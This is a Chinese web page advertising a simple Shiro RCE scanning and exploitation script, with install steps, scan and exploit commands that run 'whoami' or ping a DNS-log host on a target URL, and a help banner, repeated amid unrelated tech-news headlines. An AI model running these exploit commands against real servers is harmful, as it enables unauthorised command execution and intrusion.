一个简单的Shiro RCE检测和利用脚本
0x01 工具介绍
一个简单的shiro rce检测和利用脚本。
0x02 安装与使用
1、安装需要的包
pip install -r requirements.txt
2、检查该漏洞
python shirorcetool.py -m scan -u http://example.com
3、执行命令 (不回显)
python shirorcetool.py -m exploit -u http://example.com -c ping dnslog.example.com
4、执行命令（尝试回显）
python shirorcetool.py -m exploit -u http://example.com -c whoami -e
5、获取帮助 - get help
python shirorcetool.py ____ _ _ ____ _____ _/ ___|| |__ (_)_ __ ___ | _ ___ __|_ _|__ ___ | |\___ | '_ | | '__/ _ | |_) / __/ _ | |/ _ / _ | | ___) | | | | | | | (_) | _ < (_| __/| | (_) | (_) | ||____/|_| |_|_|_| \___/|_| _\___\___||_|\___/ \___/|_| by: hack3rhanusage: shirorcetool.py [-h] [-m mode] [-u url] [-c cmd] [-e]options: -h, --help show this help message and exit -m mode, --mode mode exploit or scan. -u url, --url url url of the target. -c cmd, --cmd cmd command to execute. -e, --echo echo mode.
新技术正在推动设计行业进入“计算设计”时代
中兴天机Axon10Pro评测 完全对得起旗舰级应有的水准
中国科学技术大学首次实现电子相的摩尔调控
各种降压稳压器的设计，阐释它们的工作原理
昂科技术发布最新的烧录软件更新及新增支持的芯片型号列表
一个简单的Shiro RCE检测和利用脚本
语音速记，落声成文—索尼发布ICD-TX660随身数码录音笔
天弘航空科技有限公司首架A320飞机已顺利拆解完毕并交付客户
从前车马慢，但我们现在就想立刻爽……
荣耀高调发布新品 5G手机阵营再添强将
智能配电室电流电压监测
自来水厂水质PH余氯传感器在线监测的益处
传华为拟夺国内50%市场份额 三星或成海外最大赢家
三星8K电视解读 8K真的有必要吗
戴尔Latitude 5285怎么样可媲美Surface Pro吗？戴尔Latitude 5285图赏
互联网医院的四大痛点分析：硬件缺失人才匮乏
苹果13多少人民币 苹果13有多少种配色
佛山本地用户对于机器人的应用需求，以及目前机器人的应用状况
应用程序如何从从X86快速换到ARM架构|瑞迅科技工控一体机解读
Oppo Watch智能手表即将发布，或对苹果造成一些压力
一个简单的shiro rce检测和利用脚本。
0x02 安装与使用
1、安装需要的包
pip install -r requirements.txt
2、检查该漏洞
python shirorcetool.py -m scan -u http://example.com
3、执行命令 (不回显)
python shirorcetool.py -m exploit -u http://example.com -c ping dnslog.example.com
4、执行命令（尝试回显）
python shirorcetool.py -m exploit -u http://example.com -c whoami -e
5、获取帮助 - get help
python shirorcetool.py ____ _ _ ____ _____ _/ ___|| |__ (_)_ __ ___ | _ ___ __|_ _|__ ___ | |\___ | '_ | | '__/ _ | |_) / __/ _ | |/ _ / _ | | ___) | | | | | | | (_) | _ < (_| __/| | (_) | (_) | ||____/|_| |_|_|_| \___/|_| _\___\___||_|\___/ \___/|_| by: hack3rhanusage: shirorcetool.py [-h] [-m mode] [-u url] [-c cmd] [-e]options: -h, --help show this help message and exit -m mode, --mode mode exploit or scan. -u url, --url url url of the target. -c cmd, --cmd cmd command to execute. -e, --echo echo mode.
新技术正在推动设计行业进入“计算设计”时代
中兴天机Axon10Pro评测 完全对得起旗舰级应有的水准
中国科学技术大学首次实现电子相的摩尔调控
各种降压稳压器的设计，阐释它们的工作原理
昂科技术发布最新的烧录软件更新及新增支持的芯片型号列表
一个简单的Shiro RCE检测和利用脚本
语音速记，落声成文—索尼发布ICD-TX660随身数码录音笔
天弘航空科技有限公司首架A320飞机已顺利拆解完毕并交付客户
从前车马慢，但我们现在就想立刻爽……
荣耀高调发布新品 5G手机阵营再添强将
智能配电室电流电压监测
自来水厂水质PH余氯传感器在线监测的益处
传华为拟夺国内50%市场份额 三星或成海外最大赢家
三星8K电视解读 8K真的有必要吗
戴尔Latitude 5285怎么样可媲美Surface Pro吗？戴尔Latitude 5285图赏
互联网医院的四大痛点分析：硬件缺失人才匮乏
苹果13多少人民币 苹果13有多少种配色
佛山本地用户对于机器人的应用需求，以及目前机器人的应用状况
应用程序如何从从X86快速换到ARM架构|瑞迅科技工控一体机解读
Oppo Watch智能手表即将发布，或对苹果造成一些压力